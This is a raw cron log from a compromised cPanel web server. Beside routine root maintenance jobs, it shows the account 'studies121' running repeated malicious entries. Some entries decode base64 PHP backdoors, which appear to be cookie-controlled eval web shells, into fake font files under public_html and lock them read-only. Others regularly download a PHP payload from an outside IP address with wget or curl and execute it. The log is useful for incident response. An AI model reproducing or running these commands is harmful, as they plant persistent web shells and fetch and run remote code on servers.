Aug 31 12:04:01 ip-184-168-122-23 CROND[26292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:04:01 ip-184-168-122-23 CROND[26294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:04:01 ip-184-168-122-23 CROND[26295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:04:01 ip-184-168-122-23 CROND[26298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26470]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:05:01 ip-184-168-122-23 CROND[26477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:06:01 ip-184-168-122-23 CROND[26596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:06:01 ip-184-168-122-23 CROND[26597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:06:01 ip-184-168-122-23 CROND[26598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:06:01 ip-184-168-122-23 CROND[26605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:06:01 ip-184-168-122-23 CROND[26608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:07:01 ip-184-168-122-23 CROND[26783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:07:01 ip-184-168-122-23 CROND[26785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:07:01 ip-184-168-122-23 CROND[26784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:07:01 ip-184-168-122-23 CROND[26786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:08:01 ip-184-168-122-23 CROND[26877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:08:01 ip-184-168-122-23 CROND[26879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:08:01 ip-184-168-122-23 CROND[26880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:08:01 ip-184-168-122-23 CROND[26882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:08:01 ip-184-168-122-23 CROND[26881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:09:01 ip-184-168-122-23 CROND[26984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:09:01 ip-184-168-122-23 CROND[26988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:09:01 ip-184-168-122-23 CROND[26993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:09:01 ip-184-168-122-23 CROND[26991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:09:01 ip-184-168-122-23 CROND[26992]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 12:10:01 ip-184-168-122-23 CROND[27129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:10:01 ip-184-168-122-23 CROND[27131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:10:02 ip-184-168-122-23 CROND[27133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:10:02 ip-184-168-122-23 CROND[27137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:10:02 ip-184-168-122-23 CROND[27136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:10:02 ip-184-168-122-23 CROND[27135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:10:02 ip-184-168-122-23 CROND[27139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:10:02 ip-184-168-122-23 CROND[27142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:11:01 ip-184-168-122-23 CROND[27435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:11:01 ip-184-168-122-23 CROND[27447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:11:01 ip-184-168-122-23 CROND[27449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:11:01 ip-184-168-122-23 CROND[27450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:12:01 ip-184-168-122-23 CROND[27923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:12:01 ip-184-168-122-23 CROND[27925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:12:01 ip-184-168-122-23 CROND[27926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:12:01 ip-184-168-122-23 CROND[27927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:12:01 ip-184-168-122-23 CROND[27928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:13:01 ip-184-168-122-23 CROND[28095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:13:01 ip-184-168-122-23 CROND[28096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:13:01 ip-184-168-122-23 CROND[28097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:13:01 ip-184-168-122-23 CROND[28098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:14:01 ip-184-168-122-23 CROND[28383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:14:01 ip-184-168-122-23 CROND[28387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:14:01 ip-184-168-122-23 CROND[28389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:14:01 ip-184-168-122-23 CROND[28388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:14:01 ip-184-168-122-23 CROND[28390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:15:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:15:01 ip-184-168-122-23 CROND[28634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28642]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28641]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:15:01 ip-184-168-122-23 CROND[28639]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
